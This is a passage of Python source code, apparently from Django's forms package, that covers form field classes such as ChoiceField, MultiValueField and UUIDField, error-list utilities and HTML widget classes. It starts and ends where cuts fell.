    widget = NullBooleanSelect

    def to_python(self, value):
        """
        Explicitly checks for the string 'True' and 'False', which is what a
        hidden field will submit for True and False, for 'true' and 'false',
        which are likely to be returned by JavaScript serializations of forms,
        and for '1' and '0', which is what a RadioField will submit. Unlike
        the Booleanfield we need to explicitly check for True, because we are
        not using the bool() function
        """
        if value in (True, 'True', 'true', '1'):
            return True
        elif value in (False, 'False', 'false', '0'):
            return False
        else:
            return None

    def validate(self, value):
        pass


class CallableChoiceIterator(object):
    def __init__(self, choices_func):
        self.choices_func = choices_func

    def __iter__(self):
        for e in self.choices_func():
            yield e


class ChoiceField(Field):
    widget = Select
    default_error_messages = {
        'invalid_choice': _('Select a valid choice. %(value)s is not one of the available choices.'),
    }

    def __init__(self, choices=(), required=True, widget=None, label=None,
                 initial=None, help_text='', *args, **kwargs):
        super(ChoiceField, self).__init__(
            required=required, widget=widget, label=label, initial=initial,
            help_text=help_text, *args, **kwargs
        )
        self.choices = choices

    def __deepcopy__(self, memo):
        result = super(ChoiceField, self).__deepcopy__(memo)
        result._choices = copy.deepcopy(self._choices, memo)
        return result

    def _get_choices(self):
        return self._choices

    def _set_choices(self, value):
        # Setting choices also sets the choices on the widget.
        # choices can be any iterable, but we call list() on it because
        # it will be consumed more than once.
        if callable(value):
            value = CallableChoiceIterator(value)
        else:
            value = list(value)

        self._choices = self.widget.choices = value

    choices = property(_get_choices, _set_choices)

    def to_python(self, value):
        "Returns a Unicode object."
        if value in self.empty_values:
            return ''
        return smart_text(value)

    def validate(self, value):
        """
        Validates that the input is in self.choices.
        """
        super(ChoiceField, self).validate(value)
        if value and not self.valid_value(value):
            raise ValidationError(
                self.error_messages['invalid_choice'],
                code='invalid_choice',
                params={'value': value},
            )

    def valid_value(self, value):
        "Check to see if the provided value is a valid choice"
        text_value = force_text(value)
        for k, v in self.choices:
            if isinstance(v, (list, tuple)):
                # This is an optgroup, so look inside the group for options
                for k2, v2 in v:
                    if value == k2 or text_value == force_text(k2):
                        return True
            else:
                if value == k or text_value == force_text(k):
                    return True
        return False


class TypedChoiceField(ChoiceField):
    def __init__(self, *args, **kwargs):
        self.coerce = kwargs.pop('coerce', lambda val: val)
        self.empty_value = kwargs.pop('empty_value', '')
        super(TypedChoiceField, self).__init__(*args, **kwargs)

    def _coerce(self, value):
        """
        Validate that the value can be coerced to the right type (if not empty).
        """
        if value == self.empty_value or value in self.empty_values:
            return self.empty_value
        try:
            value = self.coerce(value)
        except (ValueError, TypeError, ValidationError):
            raise ValidationError(
                self.error_messages['invalid_choice'],
                code='invalid_choice',
                params={'value': value},
            )
        return value

    def clean(self, value):
        value = super(TypedChoiceField, self).clean(value)
        return self._coerce(value)


class MultipleChoiceField(ChoiceField):
    hidden_widget = MultipleHiddenInput
    widget = SelectMultiple
    default_error_messages = {
        'invalid_choice': _('Select a valid choice. %(value)s is not one of the available choices.'),
        'invalid_list': _('Enter a list of values.'),
    }

    def to_python(self, value):
        if not value:
            return []
        elif not isinstance(value, (list, tuple)):
            raise ValidationError(self.error_messages['invalid_list'], code='invalid_list')
        return [smart_text(val) for val in value]

    def validate(self, value):
        """
        Validates that the input is a list or tuple.
        """
        if self.required and not value:
            raise ValidationError(self.error_messages['required'], code='required')
        # Validate that each value in the value list is in self.choices.
        for val in value:
            if not self.valid_value(val):
                raise ValidationError(
                    self.error_messages['invalid_choice'],
                    code='invalid_choice',
                    params={'value': val},
                )

    def has_changed(self, initial, data):
        if initial is None:
            initial = []
        if data is None:
            data = []
        if len(initial) != len(data):
            return True
        initial_set = set(force_text(value) for value in initial)
        data_set = set(force_text(value) for value in data)
        return data_set != initial_set


class TypedMultipleChoiceField(MultipleChoiceField):
    def __init__(self, *args, **kwargs):
        self.coerce = kwargs.pop('coerce', lambda val: val)
        self.empty_value = kwargs.pop('empty_value', [])
        super(TypedMultipleChoiceField, self).__init__(*args, **kwargs)

    def _coerce(self, value):
        """
        Validates that the values are in self.choices and can be coerced to the
        right type.
        """
        if value == self.empty_value or value in self.empty_values:
            return self.empty_value
        new_value = []
        for choice in value:
            try:
                new_value.append(self.coerce(choice))
            except (ValueError, TypeError, ValidationError):
                raise ValidationError(
                    self.error_messages['invalid_choice'],
                    code='invalid_choice',
                    params={'value': choice},
                )
        return new_value

    def clean(self, value):
        value = super(TypedMultipleChoiceField, self).clean(value)
        return self._coerce(value)

    def validate(self, value):
        if value != self.empty_value:
            super(TypedMultipleChoiceField, self).validate(value)
        elif self.required:
            raise ValidationError(self.error_messages['required'], code='required')


class ComboField(Field):
    """
    A Field whose clean() method calls multiple Field clean() methods.
    """
    def __init__(self, fields=(), *args, **kwargs):
        super(ComboField, self).__init__(*args, **kwargs)
        # Set 'required' to False on the individual fields, because the
        # required validation will be handled by ComboField, not by those
        # individual fields.
        for f in fields:
            f.required = False
        self.fields = fields

    def clean(self, value):
        """
        Validates the given value against all of self.fields, which is a
        list of Field instances.
        """
        super(ComboField, self).clean(value)
        for field in self.fields:
            value = field.clean(value)
        return value


class MultiValueField(Field):
    """
    A Field that aggregates the logic of multiple Fields.

    Its clean() method takes a "decompressed" list of values, which are then
    cleaned into a single value according to self.fields. Each value in
    this list is cleaned by the corresponding field -- the first value is
    cleaned by the first field, the second value is cleaned by the second
    field, etc. Once all fields are cleaned, the list of clean values is
    "compressed" into a single value.

    Subclasses should not have to implement clean(). Instead, they must
    implement compress(), which takes a list of valid values and returns a
    "compressed" version of those values -- a single value.

    You'll probably want to use this with MultiWidget.
    """
    default_error_messages = {
        'invalid': _('Enter a list of values.'),
        'incomplete': _('Enter a complete value.'),
    }

    def __init__(self, fields=(), *args, **kwargs):
        self.require_all_fields = kwargs.pop('require_all_fields', True)
        super(MultiValueField, self).__init__(*args, **kwargs)
        for f in fields:
            f.error_messages.setdefault('incomplete',
                                        self.error_messages['incomplete'])
            if self.require_all_fields:
                # Set 'required' to False on the individual fields, because the
                # required validation will be handled by MultiValueField, not
                # by those individual fields.
                f.required = False
        self.fields = fields

    def __deepcopy__(self, memo):
        result = super(MultiValueField, self).__deepcopy__(memo)
        result.fields = tuple(x.__deepcopy__(memo) for x in self.fields)
        return result

    def validate(self, value):
        pass

    def clean(self, value):
        """
        Validates every value in the given list. A value is validated against
        the corresponding Field in self.fields.

        For example, if this MultiValueField was instantiated with
        fields=(DateField(), TimeField()), clean() would call
        DateField.clean(value[0]) and TimeField.clean(value[1]).
        """
        clean_data = []
        errors = []
        if not value or isinstance(value, (list, tuple)):
            if not value or not [v for v in value if v not in self.empty_values]:
                if self.required:
                    raise ValidationError(self.error_messages['required'], code='required')
                else:
                    return self.compress([])
        else:
            raise ValidationError(self.error_messages['invalid'], code='invalid')
        for i, field in enumerate(self.fields):
            try:
                field_value = value[i]
            except IndexError:
                field_value = None
            if field_value in self.empty_values:
                if self.require_all_fields:
                    # Raise a 'required' error if the MultiValueField is
                    # required and any field is empty.
                    if self.required:
                        raise ValidationError(self.error_messages['required'], code='required')
                elif field.required:
                    # Otherwise, add an 'incomplete' error to the list of
                    # collected errors and skip field cleaning, if a required
                    # field is empty.
                    if field.error_messages['incomplete'] not in errors:
                        errors.append(field.error_messages['incomplete'])
                    continue
            try:
                clean_data.append(field.clean(field_value))
            except ValidationError as e:
                # Collect all validation errors in a single list, which we'll
                # raise at the end of clean(), rather than raising a single
                # exception for the first error we encounter. Skip duplicates.
                errors.extend(m for m in e.error_list if m not in errors)
        if errors:
            raise ValidationError(errors)

        out = self.compress(clean_data)
        self.validate(out)
        self.run_validators(out)
        return out

    def compress(self, data_list):
        """
        Returns a single value for the given list of values. The values can be
        assumed to be valid.

        For example, if this MultiValueField was instantiated with
        fields=(DateField(), TimeField()), this might return a datetime
        object created by combining the date and time in data_list.
        """
        raise NotImplementedError('Subclasses must implement this method.')

    def has_changed(self, initial, data):
        if initial is None:
            initial = ['' for x in range(0, len(data))]
        else:
            if not isinstance(initial, list):
                initial = self.widget.decompress(initial)
        for field, initial, data in zip(self.fields, initial, data):
            try:
                initial = field.to_python(initial)
            except ValidationError:
                return True
            if field.has_changed(initial, data):
                return True
        return False


class FilePathField(ChoiceField):
    def __init__(self, path, match=None, recursive=False, allow_files=True,
                 allow_folders=False, required=True, widget=None, label=None,
                 initial=None, help_text='', *args, **kwargs):
        self.path, self.match, self.recursive = path, match, recursive
        self.allow_files, self.allow_folders = allow_files, allow_folders
        super(FilePathField, self).__init__(
            choices=(), required=required, widget=widget, label=label,
            initial=initial, help_text=help_text, *args, **kwargs
        )

        if self.required:
            self.choices = []
        else:
            self.choices = [("", "---------")]

        if self.match is not None:
            self.match_re = re.compile(self.match)

        if recursive:
            for root, dirs, files in sorted(os.walk(self.path)):
                if self.allow_files:
                    for f in files:
                        if self.match is None or self.match_re.search(f):
                            f = os.path.join(root, f)
                            self.choices.append((f, f.replace(path, "", 1)))
                if self.allow_folders:
                    for f in dirs:
                        if f == '__pycache__':
                            continue
                        if self.match is None or self.match_re.search(f):
                            f = os.path.join(root, f)
                            self.choices.append((f, f.replace(path, "", 1)))
        else:
            try:
                for f in sorted(os.listdir(self.path)):
                    if f == '__pycache__':
                        continue
                    full_file = os.path.join(self.path, f)
                    if (((self.allow_files and os.path.isfile(full_file)) or
                            (self.allow_folders and os.path.isdir(full_file))) and
                            (self.match is None or self.match_re.search(f))):
                        self.choices.append((full_file, f))
            except OSError:
                pass

        self.widget.choices = self.choices


class SplitDateTimeField(MultiValueField):
    widget = SplitDateTimeWidget
    hidden_widget = SplitHiddenDateTimeWidget
    default_error_messages = {
        'invalid_date': _('Enter a valid date.'),
        'invalid_time': _('Enter a valid time.'),
    }

    def __init__(self, input_date_formats=None, input_time_formats=None, *args, **kwargs):
        errors = self.default_error_messages.copy()
        if 'error_messages' in kwargs:
            errors.update(kwargs['error_messages'])
        localize = kwargs.get('localize', False)
        fields = (
            DateField(input_formats=input_date_formats,
                      error_messages={'invalid': errors['invalid_date']},
                      localize=localize),
            TimeField(input_formats=input_time_formats,
                      error_messages={'invalid': errors['invalid_time']},
                      localize=localize),
        )
        super(SplitDateTimeField, self).__init__(fields, *args, **kwargs)

    def compress(self, data_list):
        if data_list:
            # Raise a validation error if time or date is empty
            # (possible if SplitDateTimeField has required=False).
            if data_list[0] in self.empty_values:
                raise ValidationError(self.error_messages['invalid_date'], code='invalid_date')
            if data_list[1] in self.empty_values:
                raise ValidationError(self.error_messages['invalid_time'], code='invalid_time')
            result = datetime.datetime.combine(*data_list)
            return from_current_timezone(result)
        return None


class GenericIPAddressField(CharField):
    def __init__(self, protocol='both', unpack_ipv4=False, *args, **kwargs):
        self.unpack_ipv4 = unpack_ipv4
        self.default_validators = validators.ip_address_validators(protocol, unpack_ipv4)[0]
        super(GenericIPAddressField, self).__init__(*args, **kwargs)

    def to_python(self, value):
        if value in self.empty_values:
            return ''
        value = value.strip()
        if value and ':' in value:
            return clean_ipv6_address(value, self.unpack_ipv4)
        return value


class SlugField(CharField):
    default_validators = [validators.validate_slug]

    def __init__(self, *args, **kwargs):
        self.allow_unicode = kwargs.pop('allow_unicode', False)
        if self.allow_unicode:
            self.default_validators = [validators.validate_unicode_slug]
        super(SlugField, self).__init__(*args, **kwargs)


class UUIDField(CharField):
    default_error_messages = {
        'invalid': _('Enter a valid UUID.'),
    }

    def prepare_value(self, value):
        if isinstance(value, uuid.UUID):
            return value.hex
        return value

    def to_python(self, value):
        value = super(UUIDField, self).to_python(value)
        if value in self.empty_values:
            return None
        if not isinstance(value, uuid.UUID):
            try:
                value = uuid.UUID(value)
            except ValueError:
                raise ValidationError(self.error_messages['invalid'], code='invalid')
        return value






from __future__ import unicode_literals

import json
import sys

from django.conf import settings
from django.core.exceptions import ValidationError  # backwards compatibility
from django.utils import six, timezone
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.utils.html import escape, format_html, format_html_join, html_safe
from django.utils.translation import ugettext_lazy as _

try:
    from collections import UserList
except ImportError:  # Python 2
    from UserList import UserList


def pretty_name(name):
    """Converts 'first_name' to 'First name'"""
    if not name:
        return ''
    return name.replace('_', ' ').capitalize()


def flatatt(attrs):
    """
    Convert a dictionary of attributes to a single string.
    The returned string will contain a leading space followed by key="value",
    XML-style pairs. In the case of a boolean value, the key will appear
    without a value. It is assumed that the keys do not need to be
    XML-escaped. If the passed dictionary is empty, then return an empty
    string.

    The result is passed through 'mark_safe' (by way of 'format_html_join').
    """
    key_value_attrs = []
    boolean_attrs = []
    for attr, value in attrs.items():
        if isinstance(value, bool):
            if value:
                boolean_attrs.append((attr,))
        else:
            key_value_attrs.append((attr, value))

    return (
        format_html_join('', ' {}="{}"', sorted(key_value_attrs)) +
        format_html_join('', ' {}', sorted(boolean_attrs))
    )


@html_safe
@python_2_unicode_compatible
class ErrorDict(dict):
    """
    A collection of errors that knows how to display itself in various formats.

    The dictionary keys are the field names, and the values are the errors.
    """
    def as_data(self):
        return {f: e.as_data() for f, e in self.items()}

    def as_json(self, escape_html=False):
        return json.dumps({f: e.get_json_data(escape_html) for f, e in self.items()})

    def as_ul(self):
        if not self:
            return ''
        return format_html(
            '<ul class="errorlist">{}</ul>',
            format_html_join('', '<li>{}{}</li>', ((k, force_text(v)) for k, v in self.items()))
        )

    def as_text(self):
        output = []
        for field, errors in self.items():
            output.append('* %s' % field)
            output.append('\n'.join('  * %s' % e for e in errors))
        return '\n'.join(output)

    def __str__(self):
        return self.as_ul()


@html_safe
@python_2_unicode_compatible
class ErrorList(UserList, list):
    """
    A collection of errors that knows how to display itself in various formats.
    """
    def __init__(self, initlist=None, error_class=None):
        super(ErrorList, self).__init__(initlist)

        if error_class is None:
            self.error_class = 'errorlist'
        else:
            self.error_class = 'errorlist {}'.format(error_class)

    def as_data(self):
        return ValidationError(self.data).error_list

    def get_json_data(self, escape_html=False):
        errors = []
        for error in self.as_data():
            message = list(error)[0]
            errors.append({
                'message': escape(message) if escape_html else message,
                'code': error.code or '',
            })
        return errors

    def as_json(self, escape_html=False):
        return json.dumps(self.get_json_data(escape_html))

    def as_ul(self):
        if not self.data:
            return ''

        return format_html(
            '<ul class="{}">{}</ul>',
            self.error_class,
            format_html_join('', '<li>{}</li>', ((force_text(e),) for e in self))
        )

    def as_text(self):
        return '\n'.join('* %s' % e for e in self)

    def __str__(self):
        return self.as_ul()

    def __repr__(self):
        return repr(list(self))

    def __contains__(self, item):
        return item in list(self)

    def __eq__(self, other):
        return list(self) == other

    def __ne__(self, other):
        return list(self) != other

    def __getitem__(self, i):
        error = self.data[i]
        if isinstance(error, ValidationError):
            return list(error)[0]
        return force_text(error)

    def __reduce_ex__(self, *args, **kwargs):
        # The `list` reduce function returns an iterator as the fourth element
        # that is normally used for repopulating. Since we only inherit from
        # `list` for `isinstance` backward compatibility (Refs #17413) we
        # nullify this iterator as it would otherwise result in duplicate
        # entries. (Refs #23594)
        info = super(UserList, self).__reduce_ex__(*args, **kwargs)
        return info[:3] + (None, None)


# Utilities for time zone support in DateTimeField et al.

def from_current_timezone(value):
    """
    When time zone support is enabled, convert naive datetimes
    entered in the current time zone to aware datetimes.
    """
    if settings.USE_TZ and value is not None and timezone.is_naive(value):
        current_timezone = timezone.get_current_timezone()
        try:
            return timezone.make_aware(value, current_timezone)
        except Exception:
            message = _(
                '%(datetime)s couldn\'t be interpreted '
                'in time zone %(current_timezone)s; it '
                'may be ambiguous or it may not exist.'
            )
            params = {'datetime': value, 'current_timezone': current_timezone}
            six.reraise(ValidationError, ValidationError(
                message,
                code='ambiguous_timezone',
                params=params,
            ), sys.exc_info()[2])
    return value


def to_current_timezone(value):
    """
    When time zone support is enabled, convert aware datetimes
    to naive datetimes in the current time zone for display.
    """
    if settings.USE_TZ and value is not None and timezone.is_aware(value):
        current_timezone = timezone.get_current_timezone()
        return timezone.make_naive(value, current_timezone)
    return value






"""
HTML Widget classes
"""

from __future__ import unicode_literals

import copy
import datetime
import re
from itertools import chain

from django.conf import settings
from django.forms.utils import flatatt, to_current_timezone
from django.templatetags.static import static
from django.utils import datetime_safe, formats, six
from django.utils.dates import MONTHS
from django.utils.deprecation import (
    RemovedInDjango20Warning, RenameMethodsBase,
)
from django.utils.encoding import (
    force_str, force_text, python_2_unicode_compatible,
)
from django.utils.formats import get_format
from django.utils.html import conditional_escape, format_html, html_safe
from django.utils.safestring import mark_safe
from django.utils.six.moves import range
from django.utils.translation import ugettext_lazy

__all__ = (
    'Media', 'MediaDefiningClass', 'Widget', 'TextInput', 'NumberInput',
    'EmailInput', 'URLInput', 'PasswordInput', 'HiddenInput',
    'MultipleHiddenInput', 'FileInput', 'ClearableFileInput', 'Textarea',
    'DateInput', 'DateTimeInput', 'TimeInput', 'CheckboxInput', 'Select',
    'NullBooleanSelect', 'SelectMultiple', 'RadioSelect',
    'CheckboxSelectMultiple', 'MultiWidget', 'SplitDateTimeWidget',
    'SplitHiddenDateTimeWidget', 'SelectDateWidget',
)

MEDIA_TYPES = ('css', 'js')


@html_safe
@python_2_unicode_compatible
class Media(object):
    def __init__(self, media=None, **kwargs):
        if media:
            media_attrs = media.__dict__
        else:
            media_attrs = kwargs

        self._css = {}
        self._js = []

        for name in MEDIA_TYPES:
            getattr(self, 'add_' + name)(media_attrs.get(name))

    def __str__(self):
        return self.render()

    def render(self):
        return mark_safe('\n'.join(chain(*[getattr(self, 'render_' + name)() for name in MEDIA_TYPES])))

    def render_js(self):
        return [
            format_html(
                '<script type="text/javascript" src="{}"></script>',
                self.absolute_path(path)
            ) for path in self._js
        ]

    def render_css(self):
        # To keep rendering order consistent, we can't just iterate over items().
        # We need to sort the keys, and iterate over the sorted list.
        media = sorted(self._css.keys())
        return chain(*[[
            format_html(
                '<link href="{}" type="text/css" media="{}" rel="stylesheet" />',
                self.absolute_path(path), medium
            ) for path in self._css[medium]
        ] for medium in media])

    def absolute_path(self, path):
        """
        Given a relative or absolute path to a static asset, return an absolute
        path. An absolute path will be returned unchanged while a relative path
        will be passed to django.templatetags.static.static().
        """
        if path.startswith(('http://', 'https://', '/')):
            return path
        return static(path)

    def __getitem__(self, name):
        "Returns a Media object that only contains media of the given type"
        if name in MEDIA_TYPES:
            return Media(**{str(name): getattr(self, '_' + name)})
        raise KeyError('Unknown media type "%s"' % name)

    def add_js(self, data):
        if data:
            for path in data:
                if path not in self._js:
                    self._js.append(path)

    def add_css(self, data):
        if data:
            for medium, paths in data.items():
                for path in paths:
                    if not self._css.get(medium) or path not in self._css[medium]:
                        self._css.setdefault(medium, []).append(path)

    def __add__(self, other):
        combined = Media()
        for name in MEDIA_TYPES:
            getattr(combined, 'add_' + name)(getattr(self, '_' + name, None))
            getattr(combined, 'add_' + name)(getattr(other, '_' + name, None))
        return combined


def media_property(cls):
    def _media(self):
        # Get the media property of the superclass, if it exists
        sup_cls = super(cls, self)
        try:
            base = sup_cls.media
        except AttributeError:
            base = Media()

        # Get the media definition for this class
        definition = getattr(cls, 'Media', None)
        if definition:
            extend = getattr(definition, 'extend', True)
            if extend:
                if extend is True:
                    m = base
                else:
                    m = Media()
                    for medium in extend:
                        m = m + base[medium]
                return m + Media(definition)
            else:
                return Media(definition)
        else:
            return base
    return property(_media)


class MediaDefiningClass(type):
    """
    Metaclass for classes that can have media definitions.
    """
    def __new__(mcs, name, bases, attrs):
        new_class = super(MediaDefiningClass, mcs).__new__(mcs, name, bases, attrs)

        if 'media' not in attrs:
            new_class.media = media_property(new_class)

        return new_class


@html_safe
@python_2_unicode_compatible
class SubWidget(object):
    """
    Some widgets are made of multiple HTML elements -- namely, RadioSelect.
    This is a class that represents the "inner" HTML element of a widget.
    """
    def __init__(self, parent_widget, name, value, attrs, choices):
        self.parent_widget = parent_widget
        self.name, self.value = name, value
        self.attrs, self.choices = attrs, choices

    def __str__(self):
        args = [self.name, self.value, self.attrs]
        if self.choices:
            args.append(self.choices)
        return self.parent_widget.render(*args)


class RenameWidgetMethods(MediaDefiningClass, RenameMethodsBase):
    renamed_methods = (
        ('_format_value', 'format_value', RemovedInDjango20Warning),
    )


class Widget(six.with_metaclass(RenameWidgetMethods)):
    needs_multipart_form = False  # Determines does this widget need multipart form
    is_localized = False
    is_required = False
    supports_microseconds = True

    def __init__(self, attrs=None):
        if attrs is not None:
            self.attrs = attrs.copy()
        else:
            self.attrs = {}

    def __deepcopy__(self, memo):
        obj = copy.copy(self)
        obj.attrs = self.attrs.copy()
        memo[id(self)] = obj
        return obj

    @property
    def is_hidden(self):
        return self.input_type == 'hidden' if hasattr(self, 'input_type') else False

    def subwidgets(self, name, value, attrs=None, choices=()):
        """
        Yields all "subwidgets" of this widget. Used only by RadioSelect to
        allow template access to individual <input type="radio"> buttons.

        Arguments are the same as for render().
        """
        yield SubWidget(self, name, value, attrs, choices)

    def render(self, name, value, attrs=None):
        """
        Returns this Widget rendered as HTML, as a Unicode string.

        The 'value' given is not guaranteed to be valid input, so subclass
        implementations should program defensively.
        """
        raise NotImplementedError('subclasses of Widget must provide a render() method')

    def build_attrs(self, extra_attrs=None, **kwargs):
        "Helper function for building an attribute dictionary."
        attrs = dict(self.attrs, **kwargs)
        if extra_attrs:
            attrs.update(extra_attrs)
        return attrs

    def value_from_datadict(self, data, files, name):
        """
        Given a dictionary of data and this widget's name, returns the value
        of this widget. Returns None if it's not provided.
        """
        return data.get(name)

    def id_for_label(self, id_):
        """
        Returns the HTML ID attribute of this Widget for use by a <label>,
        given the ID of the field. Returns None if no ID is available.

        This hook is necessary because some widgets have multiple HTML
        elements and, thus, multiple IDs. In that case, this method should
        return an ID value that corresponds to the first ID in the widget's
        tags.
        """
        return id_

    def use_required_attribute(self, initial):
        return not self.is_hidden


class Input(Widget):
    """
    Base class for all <input> widgets (except type='checkbox' and
    type='radio', which are special).
    """
    input_type = None  # Subclasses must define this.

    def format_value(self, value):
        if self.is_localized:
            return formats.localize_input(value)
        return value

    def render(self, name, value, attrs=None):
        if value is None:
            value = ''
        final_attrs = self.build_attrs(attrs, type=self.input_type, name=name)
        if value != '':
            # Only add the 'value' attribute if a value is non-empty.
            final_attrs['value'] = force_text(self.format_value(value))
        return format_html('<input{} />', flatatt(final_attrs))


class TextInput(Input):
    input_type = 'text'

    def __init__(self, attrs=None):
        if attrs is not None:
            self.input_type = attrs.pop('type', self.input_type)
        super(TextInput, self).__init__(attrs)


class NumberInput(TextInput):
    input_type = 'number'


class EmailInput(TextInput):
    input_type = 'email'


class URLInput(TextInput):
    input_type = 'url'


class PasswordInput(TextInput):
    input_type = 'password'

    def __init__(self, attrs=None, render_value=False):
        super(PasswordInput, self).__init__(attrs)
        self.render_value = render_value

    def render(self, name, value, attrs=None):
        if not self.render_value:
            value = None
        return super(PasswordInput, self).render(name, value, attrs)


class HiddenInput(Input):
    input_type = 'hidden'


class MultipleHiddenInput(HiddenInput):
    """
    A widget that handles <input type="hidden"> for fields that have a list
    of values.
    """
    def render(self, name, value, attrs=None):
        if value is None:
            value = []
        final_attrs = self.build_attrs(attrs, type=self.input_type, name=name)
        id_ = final_attrs.get('id')
        inputs = []
        for i, v in enumerate(value):
            input_attrs = dict(value=force_text(v), **final_attrs)
            if id_:
                # An ID attribute was given. Add a numeric index as a suffix
                # so that the inputs don't all have the same ID attribute.
                input_attrs['id'] = '%s_%s' % (id_, i)
            inputs.append(format_html('<input{} />', flatatt(input_attrs)))
        return mark_safe('\n'.join(inputs))

    def value_from_datadict(self, data, files, name):
        try:
            getter = data.getlist
        except AttributeError:
            getter = data.get
        return getter(name)


class FileInput(Input):
    input_type = 'file'
    needs_multipart_form = True

    def render(self, name, value, attrs=None):
        return super(FileInput, self).render(name, None, attrs=attrs)

    def value_from_datadict(self, data, files, name):
        "File widgets take data from FILES, not POST"
        return files.get(name)


FILE_INPUT_CONTRADICTION = object()


class ClearableFileInput(FileInput):
    initial_text = ugettext_lazy('Currently')
    input_text = ugettext_lazy('Change')
    clear_checkbox_label = ugettext_lazy('Clear')

    template_with_initial = (
        '%(initial_text)s: <a href="%(initial_url)s">%(initial)s</a> '
        '%(clear_template)s<br />%(input_text)s: %(input)s'
    )

    template_with_clear = '%(clear)s <label for="%(clear_checkbox_id)s">%(clear_checkbox_label)s</label>'

    def clear_checkbox_name(self, name):
        """
        Given the name of the file input, return the name of the clear checkbox
        input.
        """
        return name + '-clear'

    def clear_checkbox_id(self, name):
        """
        Given the name of the clear checkbox input, return the HTML id for it.
        """
        return name + '_id'

    def is_initial(self, value):
        """
        Return whether value is considered to be initial value.
        """
        return bool(value and getattr(value, 'url', False))

    def get_template_substitution_values(self, value):
        """
        Return value-related substitutions.
        """
        return {
            'initial': conditional_escape(value),
            'initial_url': conditional_escape(value.url),
        }

    def render(self, name, value, attrs=None):
        substitutions = {
            'initial_text': self.initial_text,
            'input_text': self.input_text,
            'clear_template': '',
            'clear_checkbox_label': self.clear_checkbox_label,
        }
        template = '%(input)s'
        substitutions['input'] = super(ClearableFileInput, self).render(name, value, attrs)

        if self.is_initial(value):
            template = self.template_with_initial
            substitutions.update(self.get_template_substitution_values(value))
            if not self.is_required:
                checkbox_name = self.clear_checkbox_name(name)
                checkbox_id = self.clear_checkbox_id(checkbox_name)
                substitutions['clear_checkbox_name'] = conditional_escape(checkbox_name)
                substitutions['clear_checkbox_id'] = conditional_escape(checkbox_id)
                substitutions['clear'] = CheckboxInput().render(checkbox_name, False, attrs={'id': checkbox_id})
                substitutions['clear_template'] = self.template_with_clear % substitutions

        return mark_safe(template % substitutions)

    def value_from_datadict(self, data, files, name):
        upload = super(ClearableFileInput, self).value_from_datadict(data, files, name)
        if not self.is_required and CheckboxInput().value_from_datadict(
                data, files, self.clear_checkbox_name(name)):

            if upload:
                # If the user contradicts themselves (uploads a new file AND
                # checks the "clear" checkbox), we return a unique marker
                # object that FileField will turn into a ValidationError.
                return FILE_INPUT_CONTRADICTION
            # False signals to clear any existing value, as opposed to just None
            return False
        return upload

    def use_required_attribute(self, initial):
        return super(ClearableFileInput, self).use_required_attribute(initial) and not initial


class Textarea(Widget):
    def __init__(self, attrs=None):
        # Use slightly better defaults than HTML's 20x2 box
        default_attrs = {'cols': '40', 'rows': '10'}
        if attrs:
            default_attrs.update(attrs)
        super(Textarea, self).__init__(default_attrs)

    def render(self, name, value, attrs=None):
        if value is None:
            value = ''
        final_attrs = self.build_attrs(attrs, name=name)
        return format_html('<textarea{}>\r\n{}</textarea>', flatatt(final_attrs), force_text(value))


class DateTimeBaseInput(TextInput):
    format_key = ''
    supports_microseconds = False

    def __init__(self, attrs=None, format=None):
        super(DateTimeBaseInput, self).__init__(attrs)
        self.format = format if format else None

    def format_value(self, value):
        return formats.localize_input(value, self.format or formats.get_format(self.format_key)[0])


class DateInput(DateTimeBaseInput):
    format_key = 'DATE_INPUT_FORMATS'


class DateTimeInput(DateTimeBaseInput):
    format_key = 'DATETIME_INPUT_FORMATS'


class TimeInput(DateTimeBaseInput):
    format_key = 'TIME_INPUT_FORMATS'


# Defined at module level so that CheckboxInput is picklable (#17976)
def boolean_check(v):
    return not (v is False or v is None or v == '')


class CheckboxInput(Widget):
    def __init__(self, attrs=None, check_test=None):
        super(CheckboxInput, self).__init__(attrs)
        # check_test is a callable that takes a value and returns True
        # if the checkbox should be checked for that value.
        self.check_test = boolean_check if check_test is None else check_test

    def render(self, name, value, attrs=None):
        final_attrs = self.build_attrs(attrs, type='checkbox', name=name, checked=self.check_test(value))
        if not (value is True or value is False or value is None or value == ''):
            # Only add the 'value' attribute if a value is non-empty.
            final_attrs['value'] = force_text(value)
        return format_html('<input{} />', flatatt(final_attrs))

    def value_from_datadict(self, data, files, name):
        if name not in data:
            # A missing value means False because HTML form submission does not
            # send results for unselected checkboxes.
            return False
        value = data.get(name)
        # Translate true and false strings to boolean values.
        values = {'true': True, 'false': False}
        if isinstance(value, six.string_types):
            value = values.get(value.lower(), value)
        return bool(value)


class Select(Widget):
    allow_multiple_selected = False

    def __init__(self, attrs=None, choices=()):
        super(Select, self).__init__(attrs)
        # choices can be any iterable, but we may need to render this widget
        # multiple times. Thus, collapse it into a list so it can be consumed
        # more than once.
        self.choices = list(choices)

    def __deepcopy__(self, memo):
        obj = copy.copy(self)
        obj.attrs = self.attrs.copy()
        obj.choices = copy.copy(self.choices)
        memo[id(self)] = obj
        return obj

    def render(self, name, value, attrs=None):
        if value is None:
            value = ''
        final_attrs = self.build_attrs(attrs, name=name)
        output = [format_html('<select{}>', flatatt(final_attrs))]
        options = self.render_options([value])
        if options:
            output.append(options)
        output.append('</select>')
        return mark_safe('\n'.join(output))

    def render_option(self, selected_choices, option_value, option_label):
        if option_value is None:
            option_value = ''
        option_value = force_text(option_value)
        if option_value in selected_choices:
            selected_html = mark_safe(' selected="selected"')
            if not self.allow_multiple_selected:
                # Only allow for a single selection.
                selected_choices.remove(option_value)
        else:
            selected_html = ''
        return format_html('<option value="{}"{}>{}</option>', option_value, selected_html, force_text(option_label))

    def render_options(self, selected_choices):
        # Normalize to strings.
        selected_choices = set(force_text(v) for v in selected_choices)
        output = []
        for option_value, option_label in self.choices:
            if isinstance(option_label, (list, tuple)):
                output.append(format_html('<optgroup label="{}">', force_text(option_value)))
                for option in option_label:
                    output.append(self.render_option(selected_choices, *option))
                output.append('</optgroup>')
            else:
                output.append(self.render_option(selected_choices, option_value, option_label))
        return '\n'.join(output)


class NullBooleanSelect(Select):
    """
    A Select Widget intended to be used with NullBooleanField.
    """
    def __init__(self, attrs=None):
        choices = (
            ('1', ugettext_lazy('Unknown')),
            ('2', ugettext_lazy('Yes')),
            ('3', ugettext_lazy('No')),
        )
        super(NullBooleanSelect, self).__init__(attrs, choices)

    def render(self, name, value, attrs=None):
        try:
            value = {True: '2', False: '3', '2': '2', '3': '3'}[value]
        except KeyError:
            value = '1'
        return super(NullBooleanSelect, self).render(name, value, attrs)

    def value_from_datadict(self, data, files, name):
        value = data.get(name)
        return {
